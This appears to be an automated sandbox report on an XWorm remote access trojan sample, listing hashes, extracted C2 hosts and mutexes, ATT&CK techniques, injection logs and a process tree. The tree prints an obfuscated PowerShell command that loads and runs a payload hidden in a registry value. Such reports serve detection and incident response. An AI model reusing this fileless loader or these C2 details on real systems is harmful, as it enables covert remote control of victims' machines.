xworm | bd00a7577088b67b52699f956275a3f563d623ca907feeeaee8d2f821d35de40

Analysis

max time kernel
150s
max time network
16s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
19-09-2024 06:26

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General

Target

DealarOrDeadCode.exe
Size

500KB
MD5

e1c82191b678cea8f3c996887ddc1232
SHA1

7946006ca278892817b7a778eea1e04f5b2f948c
SHA256

bd00a7577088b67b52699f956275a3f563d623ca907feeeaee8d2f821d35de40
SHA512

cb1499db7c1a7b3c4436d02a1218a055f9c04d7b4ae2ca01fd179a6bdb74c30c8cda1ffda8b61dcc3397b97351b77d683295cb46701a614cf7341906bd807804
SSDEEP

12288:kU43i+9MrOq5q7pN37VvbvH3pJJtlueGAmp8R6LqSY4JiFZlmM5Ki634:V4JZDhAWS2ZN

Score

10^/10

xworm discovery evasion execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

subscribe-bond.gl.at.ply.gg:28600

Mutex

tnsxJywWJMkQgZ7E

Attributes

Install_directory
%Public%
install_file
Deadsvchost.exe

aes.plain

Extracted

Family

xworm

Version

3.0

updates-full.gl.at.ply.gg:60075

Mutex

pPl3jDvgHvU1lllp

Attributes

Install_directory
%LocalAppData%
install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 4 IoCs

resource	yara_rule
behavioral1/files/0x0009000000012119-7.dat	family_xworm
behavioral1/memory/1772-12-0x0000000001210000-0x0000000001220000-memory.dmp	family_xworm
behavioral1/files/0x0034000000016140-15.dat	family_xworm
behavioral1/memory/1928-23-0x0000000001010000-0x0000000001020000-memory.dmp	family_xworm

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP	svchost.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection	svchost.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2688 created 432	2688	powershell.EXE	5

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Executes dropped EXE 3 IoCs

pid	Process
1772	DeadXClient.exe
1928	DeadROOTkit.exe
2920	DeadCodeRootKit.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2688	powershell.EXE

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2688 set thread context of 2660	2688	powershell.EXE	36

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DeadCodeRootKit.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c0e446e95c0adb01	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2688	powershell.EXE
2688	powershell.EXE
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe
2660	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1188	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1772	DeadXClient.exe
Token: SeDebugPrivilege	1928	DeadROOTkit.exe
Token: SeDebugPrivilege	2688	powershell.EXE
Token: SeDebugPrivilege	2688	powershell.EXE
Token: SeDebugPrivilege	2660	dllhost.exe
Token: SeAuditPrivilege	860	svchost.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 2220 wrote to memory of 1772	2220	DealarOrDeadCode.exe	30
PID 2220 wrote to memory of 1772	2220	DealarOrDeadCode.exe	30
PID 2220 wrote to memory of 1772	2220	DealarOrDeadCode.exe	30
PID 2220 wrote to memory of 1928	2220	DealarOrDeadCode.exe	31
PID 2220 wrote to memory of 1928	2220	DealarOrDeadCode.exe	31
PID 2220 wrote to memory of 1928	2220	DealarOrDeadCode.exe	31
PID 2220 wrote to memory of 2920	2220	DealarOrDeadCode.exe	32
PID 2220 wrote to memory of 2920	2220	DealarOrDeadCode.exe	32
PID 2220 wrote to memory of 2920	2220	DealarOrDeadCode.exe	32
PID 2220 wrote to memory of 2920	2220	DealarOrDeadCode.exe	32
PID 2836 wrote to memory of 2688	2836	taskeng.exe	34
PID 2836 wrote to memory of 2688	2836	taskeng.exe	34
PID 2836 wrote to memory of 2688	2836	taskeng.exe	34
PID 2688 wrote to memory of 2660	2688	powershell.EXE	36
PID 2688 wrote to memory of 2660	2688	powershell.EXE	36
PID 2688 wrote to memory of 2660	2688	powershell.EXE	36
PID 2688 wrote to memory of 2660	2688	powershell.EXE	36
PID 2688 wrote to memory of 2660	2688	powershell.EXE	36
PID 2688 wrote to memory of 2660	2688	powershell.EXE	36
PID 2688 wrote to memory of 2660	2688	powershell.EXE	36
PID 2688 wrote to memory of 2660	2688	powershell.EXE	36
PID 2688 wrote to memory of 2660	2688	powershell.EXE	36
PID 2660 wrote to memory of 432	2660	dllhost.exe	5
PID 2660 wrote to memory of 480	2660	dllhost.exe	6
PID 2660 wrote to memory of 488	2660	dllhost.exe	7
PID 2660 wrote to memory of 496	2660	dllhost.exe	8
PID 2660 wrote to memory of 608	2660	dllhost.exe	9
PID 2660 wrote to memory of 684	2660	dllhost.exe	10
PID 2660 wrote to memory of 768	2660	dllhost.exe	11
PID 2660 wrote to memory of 820	2660	dllhost.exe	12
PID 2660 wrote to memory of 860	2660	dllhost.exe	13
PID 2660 wrote to memory of 976	2660	dllhost.exe	15
PID 2660 wrote to memory of 280	2660	dllhost.exe	16
PID 2660 wrote to memory of 344	2660	dllhost.exe	17
PID 2660 wrote to memory of 1072	2660	dllhost.exe	18
PID 2660 wrote to memory of 1120	2660	dllhost.exe	19
PID 2660 wrote to memory of 1160	2660	dllhost.exe	20
PID 2660 wrote to memory of 1188	2660	dllhost.exe	21
PID 2660 wrote to memory of 1664	2660	dllhost.exe	23
PID 2660 wrote to memory of 1048	2660	dllhost.exe	24
PID 2660 wrote to memory of 1796	2660	dllhost.exe	25
PID 2660 wrote to memory of 2424	2660	dllhost.exe	26
PID 2660 wrote to memory of 2456	2660	dllhost.exe	27
PID 2660 wrote to memory of 1772	2660	dllhost.exe	30
PID 2660 wrote to memory of 1928	2660	dllhost.exe	31
PID 2660 wrote to memory of 2836	2660	dllhost.exe	33
PID 2660 wrote to memory of 2688	2660	dllhost.exe	34
PID 2660 wrote to memory of 2940	2660	dllhost.exe	35

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:432
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{6d1f95af-ddd4-4ca3-8f04-eec7ba8a1f09}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2660

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:480
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:608
- - C:\Windows\system32\DllHost.exe
    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
    3⤵
    PID:1664
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe
    3⤵
    PID:1796
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:684
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  - Modifies security service
  PID:768
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:820
- - C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    3⤵
    PID:1160
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:860
- - C:\Windows\system32\taskeng.exe
    taskeng.exe {E4ABBE5F-F185-4F02-B08C-ECAFE38E57D8} S-1-5-18:NT AUTHORITY\System:Service:
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2836
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+'W'+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+[Char](68)+''+'e'+''+'a'+'d'+[Char](115)+''+'t'+'a'+'g'+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2688
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:976
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:280
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:344
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:1072
- C:\Windows\system32\taskhost.exe
  "taskhost.exe"
  2⤵
  PID:1120
- C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
  "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
  2⤵
  PID:1048
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:2424
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:2456

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:488

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:496

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:1188
- C:\Users\Admin\AppData\Local\Temp\DealarOrDeadCode.exe
  "C:\Users\Admin\AppData\Local\Temp\DealarOrDeadCode.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2220
- - C:\Users\Public\DeadXClient.exe
    "C:\Users\Public\DeadXClient.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1772
- - C:\Users\Public\DeadROOTkit.exe
    "C:\Users\Public\DeadROOTkit.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1928
- - C:\Users\Public\DeadCodeRootKit.exe
    "C:\Users\Public\DeadCodeRootKit.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2920

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-2087154537-1745831706-130511666-5654344211999590812-1174689362-440058154491061091"
1⤵
PID:2940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Public\DeadCodeRootKit.exe

Filesize
151KB

MD5
b8479a23c22cf6fc456e197939284069

SHA1
b2d98cc291f16192a46f363d007e012d45c63300

SHA256
18294ee5a6383a48d1bcf2703f17d815529df3a17580e027c3efea1800900e8f

SHA512
786cd468ce3723516dc869b09e008ec5d35d1f0c1a61e70083a3be15180866be637bd7d8665c2f0218c56875a0ee597c277e088f77dd403bdd2182d06bad3bd4

Download Submit
C:\Users\Public\DeadROOTkit.exe

Filesize
42KB

MD5
7dd98fc2976ee270a278e1a9a28eefae

SHA1
0497ee045226b2d310c7678ed055eeedbc88dc77

SHA256
5711b50667b4de000c8031724427ec6cd00b41b760ca1608421dc47b549e2093

SHA512
94cab0f684f79e7adb6bea43a909d9621a2ef6bf223fbf4650b040766e7edfc95d77f62aa852efccb7752442e96182329934eee58ad4b8f579a75bd8414d984c

Download Submit
C:\Users\Public\DeadXClient.exe

Filesize
35KB

MD5
f1976ea02bffaef5ac943c2abbb7426c

SHA1
deeee7d4f336d0ba898b5579720aaf630951a72f

SHA256
4353e37a3d60dd30beeec61a812a07ba6bfc174a18cdd5a95be98666db2f7cf6

SHA512
2b21c93ee09865a5c5f365cb945ebc2473a5b8ddce009302e8f03815d7784ad3a95d615678b3b49e272d235d10c03262f2ddaaec9de8a373c0487b7904bd7858

Download Submit
memory/432-53-0x0000000037340000-0x0000000037350000-memory.dmp

Filesize
64KB

Download
memory/432-41-0x0000000000310000-0x0000000000332000-memory.dmp

Filesize
136KB

Download
memory/432-43-0x0000000000310000-0x0000000000332000-memory.dmp

Filesize
136KB

Download
memory/432-44-0x0000000000340000-0x0000000000367000-memory.dmp

Filesize
156KB

Download
memory/432-45-0x0000000000340000-0x0000000000367000-memory.dmp

Filesize
156KB

Download
memory/432-51-0x0000000000340000-0x0000000000367000-memory.dmp

Filesize
156KB

Download
memory/432-52-0x000007FEBF560000-0x000007FEBF570000-memory.dmp

Filesize
64KB

Download
memory/480-67-0x0000000037340000-0x0000000037350000-memory.dmp

Filesize
64KB

Download
memory/480-59-0x0000000000160000-0x0000000000187000-memory.dmp

Filesize
156KB

Download
memory/480-65-0x0000000000160000-0x0000000000187000-memory.dmp

Filesize
156KB

Download
memory/480-66-0x000007FEBF560000-0x000007FEBF570000-memory.dmp

Filesize
64KB

Download
memory/488-73-0x0000000000220000-0x0000000000247000-memory.dmp

Filesize
156KB

Download
memory/488-79-0x0000000000220000-0x0000000000247000-memory.dmp

Filesize
156KB

Download
memory/488-80-0x000007FEBF560000-0x000007FEBF570000-memory.dmp

Filesize
64KB

Download
memory/488-81-0x0000000037340000-0x0000000037350000-memory.dmp

Filesize
64KB

Download
memory/496-87-0x00000000007B0000-0x00000000007D7000-memory.dmp

Filesize
156KB

Download
memory/1772-12-0x0000000001210000-0x0000000001220000-memory.dmp

Filesize
64KB

Download
memory/1772-209-0x000007FEF5BB0000-0x000007FEF659C000-memory.dmp

Filesize
9.9MB

Download
memory/1772-24-0x000007FEF5BB0000-0x000007FEF659C000-memory.dmp

Filesize
9.9MB

Download
memory/1928-23-0x0000000001010000-0x0000000001020000-memory.dmp

Filesize
64KB

Download
memory/2220-1-0x0000000000970000-0x00000000009F4000-memory.dmp

Filesize
528KB

Download
memory/2220-0-0x000007FEF5BB3000-0x000007FEF5BB4000-memory.dmp

Filesize
4KB

Download
memory/2220-2-0x0000000000470000-0x00000000004A4000-memory.dmp

Filesize
208KB

Download
memory/2220-22-0x000007FEF5BB0000-0x000007FEF659C000-memory.dmp

Filesize
9.9MB

Download
memory/2660-30-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2660-36-0x0000000077300000-0x00000000774A9000-memory.dmp

Filesize
1.7MB

Download
memory/2660-35-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2660-37-0x00000000770E0000-0x00000000771FF000-memory.dmp

Filesize
1.1MB

Download
memory/2660-38-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2660-31-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2660-32-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2660-33-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2688-25-0x0000000019F40000-0x000000001A222000-memory.dmp

Filesize
2.9MB

Download
memory/2688-26-0x00000000008C0000-0x00000000008C8000-memory.dmp

Filesize
32KB

Download
memory/2688-28-0x0000000077300000-0x00000000774A9000-memory.dmp

Filesize
1.7MB

Download
memory/2688-29-0x00000000770E0000-0x00000000771FF000-memory.dmp

Filesize
1.1MB

Download
memory/2688-27-0x0000000001370000-0x0000000001398000-memory.dmp

Filesize
160KB

Download